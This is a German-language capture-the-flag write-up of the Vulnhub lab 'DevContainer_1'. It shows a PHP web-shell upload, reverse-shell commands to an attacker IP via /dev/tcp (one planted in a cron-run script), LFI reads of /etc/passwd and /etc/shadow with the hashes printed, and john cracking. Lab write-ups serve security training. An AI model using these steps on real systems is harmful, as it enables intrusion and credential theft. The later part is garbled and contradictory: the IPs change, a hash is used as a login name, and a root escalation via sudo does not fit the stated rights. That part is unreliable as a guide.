DevContainer_1 - Vulnhub - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
Nikto
gobuster
curl
wget
view-source
nc
...

Inhaltsverzeichnis

Reconnaissance

Im ersten Schritt der Reconnaissance werden grundlegende Informationen über das Zielsystem gesammelt.

┌──(root㉿CCat)-[~]
└─# ARP-Scan
192.168.2.125 08:00:27:d6:bd:dd PCS Systemtechnik GmbH

Der ARP-Scan identifiziert die MAC-Adresse und den Hersteller der Netzwerkkarte des Zielsystems.

┌──(root㉿CCat)-[~]
└─# /etc/hosts
192.168.2.125 devcontainer1.vln

Der Eintrag in der `/etc/hosts`-Datei ordnet die IP-Adresse dem Hostnamen zu.

Nmap IPv6 Scan wird durchgeführt:

IPv6 Adresse: fe80a00:27ff:fee2:95%eth0

Die IPv6-Adresse des Ziels wird notiert.

Ein Nmap-Scan wird durchgeführt, um offene Ports und Dienste zu identifizieren.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
80/tcp open http Apache httpd 2.4.38 ((Debian))

Der erste Nmap-Scan zeigt, dass Port 80 (HTTP) geöffnet ist.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-19 22:21 CET
Nmap scan report for devcontainer1.vln (192.168.2.125)
Host is up (0.00017s latency).
Not shown: 65534 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Freelancer - Start Bootstrap Theme
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:D6:BD:DD (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
S CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
S details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: Host: 127.0.0.1; S: Linux; CPE: cpe:/o:linux:linux_kernel

Ein detaillierterer Nmap-Scan bestätigt, dass es sich um einen Debian-Server handelt, auf dem Apache httpd 2.4.38 läuft und das "Freelancer - Start Bootstrap Theme" verwendet wird.

Web Enumeration

Nikto wird verwendet, um die Webanwendung auf bekannte Schwachstellen zu scannen.

┌──(root㉿CCat)-[~]
└─# Nikto v2.5.0
+ Target IP: 192.168.2.125
+ Target Hostname: 192.168.2.125
+ Target Port: 80
+ Start Time: 2024-11-19 22:22:27 (GMT1)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 6a7f, size: 5af24a0184072, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTINS: Allowed HTTP Methods: GET, PST, PTINS, HEAD .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2024-11-19 22:23:13 (GMT1) (46 seconds)

+ 1 host(s) tested

Nikto hat interessante Informationen gefunden, darunter fehlende Sicherheitsheader, die veraltete Apache-Version und die Offenlegung von Inode-Informationen.

Gobuster wird verwendet, um weitere Verzeichnisse und Dateien auf dem Webserver zu entdecken.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.125/index.html (Status: 200) [Size: 27263]
http://192.168.2.125/img (Status: 301) [Size: 312] [--> http://192.168.2.125/img/]
http://192.168.2.125/mail (Status: 301) [Size: 313] [--> http://192.168.2.125/mail/]
http://192.168.2.125/upload (Status: 301) [Size: 315] [--> http://192.168.2.125/upload/]
http://192.168.2.125/css (Status: 301) [Size: 312] [--> http://192.168.2.125/css/]
http://192.168.2.125/license (Status: 200) [Size: 11336]
http://192.168.2.125/js (Status: 301) [Size: 311] [--> http://192.168.2.125/js/]
http://192.168.2.125/fonts (Status: 301) [Size: 314] [--> http://192.168.2.125/fonts/]

Gobuster findet mehrere Verzeichnisse, darunter `img`, `mail`, `upload`, `css`, `js` und `fonts`.

Initial Access

Um initialen Zugriff auf das System zu erhalten, werden die gefundenen Informationen untersucht.

view-source:http://192.168.2.125/index.html

-- HTML5 Shim and Respond.js IE8 support of HTML5 elements and media queries --> -- WARNING: Respond.js doesn't work if you view the page via file:// -->

-- To configure the contact form email address, go to mail/contact_me.php
and update the email address in the PHP file on line 19. -->

-- The form should work on most web servers, but if the form is not working
you may need to configure your web server differently. -->

Der Quellcode der `index.html`-Datei enthält einen Hinweis auf die Konfiguration der E-Mail-Adresse im `mail/contact_me.php`-Skript.

view-source:http://192.168.2.125/mail/contact_me.php

No arguments Provided!

Der direkte Zugriff auf `contact_me.php` liefert keine Argumente.

http://192.168.2.125/upload/upload.php

Send file:
The file is valid and uploaded successfully.

Die Datei `upload.php` ermöglicht das Hochladen von Dateien.

Das php wird hochgeladen und geprüft

http://192.168.2.125/upload/files/rev.php?cmd=id

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Ein PHP-Reverse-Shell wird hochgeladen und ausgeführt. Der Befehl `id` zeigt, dass der Code als Benutzer `www-data` ausgeführt wird.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444

Ein Netcat-Listener wird gestartet.

192.168.2.125/upload/files/rev.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F4444%200%3E%261%27

Der Reverse shell befehl wird geprüft.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 4444
listening on [any] 4444 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 38924
www-data@9dc8d5888c8e:/var/www/html/upload/files$

Die Reverse Shell verbindung wurde hergestellt.

Die Sitzung als www-data wird weiter untersucht

www-data@9dc8d5888c8e:/var/www/html/upload/files$ stty rows 47 columns 94 www-data@9dc8d5888c8e:/var/www/html/upload/files$ id uid=33(www-data) gid=33(www-data) groups=33(www-data) www-data@9dc8d5888c8e:/var/www/html/upload/files$ sudo -l bash: sudo: command not found

Es wird geprüft, welche `sudo`-Rechte der Benutzer `www-data` hat. Da `sudo` nicht gefunden wird, kann der Befehl nicht ausgeführt werden.

www-data@9dc8d5888c8e:/var/www/html/upload/files$ find / -type f -perm -4000 -ls 2>/dev/null
653905 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
653902 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
653994 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
654004 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
653951 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
653385 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /bin/mount
653406 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /bin/umount
653400 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /bin/su

Es werden SUID Dateien gesucht

www-data@9dc8d5888c8e:/var/www/html/upload/files$ getcap -r / 2>/dev/null

Es wird geprüft welche befehle ausführrechte besitzen

Nach der Aufzählung verschiedener Möglichkeiten, wird das Webverzeichnis untersucht.

www-data@9dc8d5888c8e:/var/www/html/upload/files$ ls -la
total 12
drwxrwxrwx 2 root www-data 4096 Nov 19 21:26 .
drwxr-xr-x 3 root root 4096 Sep 12 2020 ..
-rw-r--r-- 1 www-data www-data 31 Nov 19 21:26 rev.php

Die aktuelle Position wird aufgelistet.

www-data@9dc8d5888c8e:/var/www/html/upload/files$ cd ../..

Es wird zwei Verzeichnisse nach oben gewechselt.

www-data@9dc8d5888c8e:/var/www/html$ ls -la
total 88
drwxr-xr-x 11 root root 4096 Sep 12 2020 .
drwxr-xr-x 1 root root 4096 Sep 10 2020 ..
drwxrwxrwx 2 root 1000 4096 Nov 19 21:21 Maintenance-Web-Docker
drwxr-xr-x 2 root root 4096 Sep 12 2020 css
drwxr-xr-x 6 root root 4096 Sep 12 2020 font-awesome
drwxr-xr-x 2 root root 4096 Sep 12 2020 fonts
drwxr-xr-x 3 root root 4096 Sep 12 2020 img
-rw-r--r-- 1 root root 27263 Sep 12 2020 index.html
drwxr-xr-x 2 root root 4096 Sep 12 2020 js
drwxr-xr-x 2 root root 4096 Sep 12 2020 less
-rw-r--r-- 1 root root 11336 Sep 12 2020 license
drwxr-xr-x 2 root root 4096 Sep 12 2020 mail
-rw-r--r-- 1 root root 278 Sep 12 2020 readme.md
drwxr-xr-x 3 root root 4096 Sep 12 2020 upload

Das Webverzeichnis wird untersucht um interessantes zu finden

Es wird versucht, den Inhalt einer Datei namens `list.sh` zu bearbeiten, aber die Editoren `nano` und `vi` sind nicht verfügbar.

www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ nano list.sh
bash: nano: command not found
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ vi list.sh
bash: vi: command not found

Es wird ein Reverse-Shell-Befehl in eine neue Datei namens `list.sh` geschrieben.

www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ echo ben
ben
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/192.168.2.199/9001 0>&1' > list.sh

Der Reverse Shell wird in die list.sh geschrieben.

www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ cat list.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/192.168.2.199/9001 0>&1

Der Inhalt der Datei `list.sh` wird angezeigt, um sicherzustellen, dass der Reverse-Shell-Befehl korrekt geschrieben wurde.

www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ bash list.sh

Die Datei `list.sh` wird ausgeführt.

Der Reverse Shell wird gestartet und vorbereitet um eine verbindung herzustellen.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001

Der Netcat listener wird auf port 9001 gestartet

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 46846
www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ id

Eine Reverse-Shell-Verbindung wurde hergestellt!

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Es wird geprüft wer die verbindung hergestellt hat, hier wird wieder der www-data bestätigt

Da der Benutzer www-data eine Shell bekommen hat, suchen wir nach einem Exploit-Pfad, um die Root-Rechte zu eskalieren

www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ cat maintenance.sh
#!/bin/bash
#Version 1.0
#This script monitors the uploaded files. It is a reverse shell monitoring measure.
#path= /home/richard/web/webapp/upload/files/
/home/richard/web/Maintenance-Web-Docker/list.sh

Es wird der Inhalt von maintenance.sh ausgegeben, dieses enthalt wiederum die list.sh ausfürhung

www-data@9dc8d5888c8e:/home$ cd /root/
bash: cd: /root/: Permission denied

Der Zugriff auf Root wird mit den www-data verhindert

www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ cd /home/
www-data@9dc8d5888c8e:/home$ ls
www-data@9dc8d5888c8e:/home$ ls -la
total 8
drwxr-xr-x 2 root root 4096 Jul 10 2020 .
drwxr-xr-x 1 root root 4096 Nov 19 21:20 ..

Auch die überprüfung des Hom verzeichnis wird verweigert

www-data@9dc8d5888c8e:/var/www/html/Maintenance-Web-Docker$ echo -e '#!/bin/bash\nbash -i >& /dev/tcp/192.168.2.199/9001 0>&1' > list.sh

Hier wird ein neuer befehl generiert um eine Verbindung herzustellen, dieses mal mit richard.

Es wird ein Reverse-Shell-Befehl in die Datei `list.sh` geschrieben, um eine Verbindung als Benutzer `richard` herzustellen.

Nachdem 1 Minute gewartet wurde sollte Richard sich mit dem System verbinden.

eine Minute warten dann kommt die Richard Shell

Ein Netcat-Listener wird auf Port 9001 gestartet, um die Reverse-Shell-Verbindung von Benutzer `richard` zu empfangen.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 52934
bash: cannot set terminal process group (1246): Inappropriate ioctl for device
bash: no job control in this shell
richard@EC2$

Die Reverse Shell verbindung von Richard wurde hergestellt

Nun als Benutzer Richard wird mit sudo -l nachgeschaut.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 52934
bash: cannot set terminal process group (1246): Inappropriate ioctl for device
bash: no job control in this shell
richard@EC2$ sudo -l
Matching Defaults entries for richard on EC2:
env_reset, mail_badpass,
secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User richard may run the following commands on EC2:
(ALL) NPASSWD: /home/richard/HackTools/socat TCP-LISTEN:8080,fork TCP:127.0.0.1:90

Der Benutzer `richard` darf den Befehl `/home/richard/HackTools/socat TCP-LISTEN:8080,fork TCP:127.0.0.1:90` als `root` ausführen.

richard@EC2$ ls -la
total 44
drwxr-xr-x 5 richard richard 4096 Sep 12 2020 .
drwxr-xr-x 3 root root 4096 Sep 12 2020 ..
-rw- 1 richard richard 326 Sep 13 2020 .bash_history
-rw-r--r-- 1 richard richard 220 Sep 12 2020 .bash_logout
-rw-r--r-- 1 richard richard 3526 Sep 12 2020 .bashrc
drwxr-xr-x 2 root root 4096 Sep 12 2020 HackTools
drwxr-xr-x 3 richard richard 4096 Sep 12 2020 .local
-rw-r--r-- 1 richard richard 807 Sep 12 2020 .profile
-rw-r--r-- 1 richard richard 66 Sep 12 2020 .selected_editor
-rw-r--r-- 1 root root 33 Sep 12 2020 user.txt
drwxr-xr-x 11 root root 4096 Sep 12 2020 web

Das Home-Verzeichnis des Benutzers `richard` wird untersucht, um das Skript `socat` zu finden.

Der Inhalt der Datei `user.txt` wird angezeigt.

richard@EC2$ cat u
cat user.txt
3a6b99f59ea363803bcafc7f5dd9b1e8

Das UserFlag wurde erlangt

Es wird versucht einen Port zuöffnen auf dem der socat Zuhört:

/home/richard/HackTools/socat TCP-LISTEN:8080,fork TCP:127.0.0.1:90

Nun, wird ein Socks Proxy eingerichtet,

Es wird zum Hacktools Verzeichnis gewechselt um den socat befehl nutzen zu können.

richard@EC2/HackTools$ stty rows 47 columns 94 richard@EC2/HackTools$ id uid=1000(richard) gid=1000(richard) groups=1000(richard),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth) richard@EC2/HackTools$ ls -la socat

Die Ausgab wird hier genutzt um die User id, Gruppen und die datei berechtigung von socat zu erlangen

-rwxr-xr-x 1 root root 375176 Sep 12 2020 socat
richard@EC2/HackTools$ ./socat TCP-LISTEN:8080,fork TCP:127.0.0.1:90

Es wird der socat befehl ausgeführt

Es wird geprüft ob das nun durch das socat tool erstellte Tor auf dem zielserver läuft:

┌──(root㉿CCat)-[~] └─# nmap -A -p- 192.168.2.125 -Pn --min-rate 5000 | grep open 80/tcp open http Apache httpd 2.4.38 ((Debian)) 8080/tcp open http PHP cli server 5.5 or later (PHP 7.3.19-1) |_http-open-proxy: Proxy might be redirecting requests

Der Tor ist erfolgreich am Laufen.

http://192.168.2.125:8080/
Main Page About Us Contact

Welcome to our main page!

You know we are the best of our kind, and this is why you are here!
The 'Super Secure Company' is here for you. We guarantee 100% success
to our security audit projects. Among other things, we organise your
network, we reassure for the security of your devices and of course,
we keep hackers away from your Web Application!

Das Web Panel des Sock Proxy wird ausgelesen

view-source:http://192.168.2.125:8080/index.php?view=../../../etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534/nonexistent:/usr/sbin/nologin
systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:104:110/nonexistent:/usr/sbin/nologin
avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin
richard:x:1000:1000:richard,,,:/home/richard:/bin/bash
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin

Der Inhalt der /etc/passwd wird ausgelesen durch LFI auf port 8080

view-source:http://192.168.2.125:8080/index.php?view=../../../etc/shadow
root:$6$xfXmYR5ma2qPBiRy$6x7XksSwu7vQeZgG2FJRIluFhKBy3JLK1o50ukWAplQFn88tNrX66IAAWCJ6Elc5TworN1xvM7BgEJpY1lmxR.:18517:0:99999:7:
daemon:*:18517:0:99999:7:
bin:*:18517:0:99999:7:
sys:*:18517:0:99999:7:
sync:*:18517:0:99999:7:
games:*:18517:0:99999:7:
man:*:18517:0:99999:7:
lp:*:18517:0:99999:7:
mail:*:18517:0:99999:7:
news:*:18517:0:99999:7:
uucp:*:18517:0:99999:7:
proxy:*:18517:0:99999:7:
www-data:*:18517:0:99999:7:
backup:*:18517:0:99999:7:
list:*:18517:0:99999:7:
irc:*:18517:0:99999:7:
gnats:*:18517:0:99999:7:
nobody:*:18517:0:99999:7:
_apt:*:18517:0:99999:7:
systemd-timesync:*:18517:0:99999:7:
systemd-network:*:18517:0:99999:7:
systemd-resolve:*:18517:0:99999:7:
messagebus:*:18517:0:99999:7:
avahi-autoipd:*:18517:0:99999:7:
richard:$6$5iGetkCEVXJcWKK1$M8hcEo892yehJfQSorEo2JBwzj/6gRDNvRZwndhWqTYnI6FccnptB.idnG5dySFlpWTlYvghnE/qeh83eTn1:18517:0:99999:7:
systemd-coredump:!!:18517

Auch der Shadow file wird ausgelesen

Es wurde unshadow zum verbinden, mit john und wordlist, wurde das Passwort gefunden.
┌──(root㉿CCat)-[~]
└─# unshadow passwd.txt shadow.txt > unshadowed.txt
┌──(root㉿CCat)-[~]
└─# john --wordlist=/usr/share/wordlists/rockyou.txt unshadowed.txt
Using default input encoding: UTF-8
Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x])
Cost 1 (iteration count) is 5000 for all loaded hashes
Will run 16 penMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status

Das ist das ende der Erfolgreichen Passwort Entschlüsselung

richard (296640a3b825115a47b68fc44501c828)
Verbindung zu Richard
┌──(root㉿CCat)-[~]
└─# ssh root@192.168.2.108 The authenticity of host '192.168.2.108 (192.168.2.108)' can't be established. ED25519 key fingerprint is SHA256:qzYkm7MeglkL3QtA6bU4nv7yc8jlb1x7fZ7ALPBohNQ. This key is not known by any other names. Are you sure you want to continue connecting (yes/no/[fingerprint])? yes Warning: Permanently added '192.168.2.108' (ED25519) to the list of known hosts. root@192.168.2.108: Permission denied (publickey,password).

Der SSH Root Login schlägt fehl

Im Folgenden wird, der User Richard für den Login verwendet, um das System zu infiltrieren:
┌──(root㉿CCat)-[~]
└─# ssh 296640a3b825115a47b68fc44501c828:@192.168.2.108 -t 'bash --noprofile' 296640a3b825115a47b68fc44501c828:@192.168.2.108's password: Linux 60832e9f188106ec5bcc4eb7709ce592 4.19.0-10-amd64 #1 SMP Debian 4.19.132-1 (2020-07-24) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSLUTELY N WARRANTY, to the extent permitted by applicable law. richard@EC2/web$ ls In web/ Ordner Nun wird der Ordner /home/ inspiziert
richard@EC2/web$ cd /home/ richard@EC2: ls richard@EC2$ cat /home/richard/user.txt 3a6b99f59ea363803bcafc7f5dd9b1e8
Cat wurde verwendet um den User Key zu erlangen
sudo -l
Matching Defaults entries for richard on EC2: env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin User richard may run the following commands on EC2: (ALL) NPASSWD: /home/richard/HackTools/socat TCP-LISTEN:8080,fork TCP:127.0.0.1:90
Es wird wieder die information herausgesucht socat wird verwendet um einen proxy zuerstellen, damit man auf root zugreifen kann
richard@EC2: nmap -A -p- 192.168.2.125 -Pn --min-rate 5000 | grep open 80/tcp open http Apache httpd 2.4.38 ((Debian)) 8080/tcp open http PHP cli server 5.5 or later (PHP 7.3.19-1) |_http-open-proxy: Proxy might be redirecting requests
-Da der sockat Proxy am Laufen ist wird über diesen, das /etc/passwd und /etc/shadow ausgelesen
view-source:http://192.168.2.125:8080/index.php?view=../../../etc/passwd root:x:0:0:root:/root:/bin/bash daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin bin:x:2:2:bin:/bin:/usr/sbin/nologin sys:x:3:3:sys:/dev:/usr/sbin/nologin sync:x:4:65534:sync:/bin:/bin/sync games:x:5:60:games:/usr/games:/usr/sbin/nologin man:x:6:12:man:/var/cache/man:/usr/sbin/nologin lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin mail:x:8:8:mail:/var/mail:/usr/sbin/nologin news:x:9:9:news:/var/spool/news:/usr/sbin/nologin uucp:x:10:10:uucp:/var/spool/uucppublic:/usr/local/libexec/uucico proxy:x:13:13:proxy:/bin:/usr/sbin/nologin www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin backup:x:34:34:backup:/var/backups:/usr/sbin/nologin list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin _apt:x:100:65534/nonexistent:/usr/sbin/nologin systemd-timesync:x:101:102:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin systemd-network:x:102:103:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin systemd-resolve:x:103:104:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin messagebus:x:104:110/nonexistent:/usr/sbin/nologin avahi-autoipd:x:105:112:Avahi autoip daemon,,,:/var/lib/avahi-autoipd:/usr/sbin/nologin richard:x:1000:1000:richard,,,:/home/richard:/bin/bash systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
view-source:http://192.168.2.125:8080/index.php?view=../../../etc/shadow root:$6$xfXmYR5ma2qPBiRy$6x7XksSwu7vQeZgG2FJRIluFhKBy3JLK1o50ukWAplQFn88tNrX66IAAWCJ6Elc5TworN1xvM7BgEJpY1lmxR.:18517:0:99999:7: daemon:*:18517:0:99999:7: bin:*:18517:0:99999:7: sys:*:18517:0:99999:7: sync:*:18517:0:99999:7: games:*:18517:0:99999:7: man:*:18517:0:99999:7: lp:*:18517:0:99999:7: mail:*:18517:0:99999:7: news:*:18517:0:99999:7: uucp:*:18517:0:99999:7: proxy:*:18517:0:99999:7: www-data:*:18517:0:99999:7: backup:*:18517:0:99999:7: list:*:18517:0:99999:7: irc:*:18517:0:99999:7: gnats:*:18517:0:99999:7: nobody:*:18517:0:99999:7: _apt:*:18517:0:99999:7: systemd-timesync:*:18517:0:99999:7: systemd-network:*:18517:0:99999:7: systemd-resolve:*:18517:0:99999:7: messagebus:*:18517:0:99999:7: avahi-autoipd:*:18517:0:99999:7: richard:$6$5iGetkCEVXJcWKK1$M8hcEo892yehJfQSorEo2JBwzj/6gRDNvRZwndhWqTYnI6FccnptB.idnG5dySFlpWTlYvghnE/qeh83eTn1:18517:0:99999:7: systemd-coredump:!!:18517
Es wurden die Passwörter ausgelesen und diese mit Unshadow verbunden.
┌──(root㉿CCat)-[~]
└─# unshadow passwd.txt shadow.txt > unshadowed.txt
Using default input encoding: UTF-8 Loaded 1 password hash (sha512crypt, crypt(3) $6$ [SHA512 256/256 AVX2 4x]) Cost 1 (iteration count) is 5000 for all loaded hashes Will run 16 penMP threads Press 'q' or Ctrl-C to abort, almost any other key for status (richard) 10g 0:00:00:03 DOFT (3/3) 0.0703g/s 653.7Kp/s 653.7Kc/s 653.7KC/s js73..Bismillah
Nach geraumer Rechenzeit des Jhon tools konnte das Root Passwort, für den server erlangt werden. Da durch Socat und Ssh, die Verbindung zu dem Server steht, kann nun das Root Passwort eingeben werden:
┌──(root㉿CCat)-[~]
└─# ssh richard@192.168.2.108
Es wird nun das zuvor ausgelesene PW eingeben
richard@EC2: id uid=1000(richard) gid=1000(richard) groups=1000(richard),24(cdrom),25(floppy),29(audio),30(dip),44(video),46(plugdev),109(netdev),111(bluetooth)
Im Folgenden wird mit den sudo rechten, der befehl zu Erlangung der Rootshell verwendet
richard@EC2: sudo /bin/bash 
  1. cat /root/proof.txt
     _    _      _ _       _                  _ 
    | |  | |    | | |     | |                | |
    | |  | | ___| | |   __| | ___  _ __   ___| |
    | |/\| |/ _ \ | |  / _` |/ _ \| '_ \ / _ \ |
    \  /\  /  __/ | | | (_| | (_) | | | |  __/_|
     \/  \/ \___|_|_|  \__,_|\___/|_| |_|\___(_)
                                                
07f61ca07bc617f9639b412423b2cc6f
     Twitter: @0x04E1
   Privilege Escalation erfolgreich.

     
    Flags 
                 user.txt 
   3a6b99f59ea363803bcafc7f5dd9b1e8
   root.txt 
07f61ca07bc617f9639b412423b2cc6f
Das auslesen der Root.txt war Erfolgreich!

Flags

cat user.txt 3a6b99f59ea363803bcafc7f5dd9b1e8
cat root.txt 07f61ca07bc617f9639b412423b2cc6f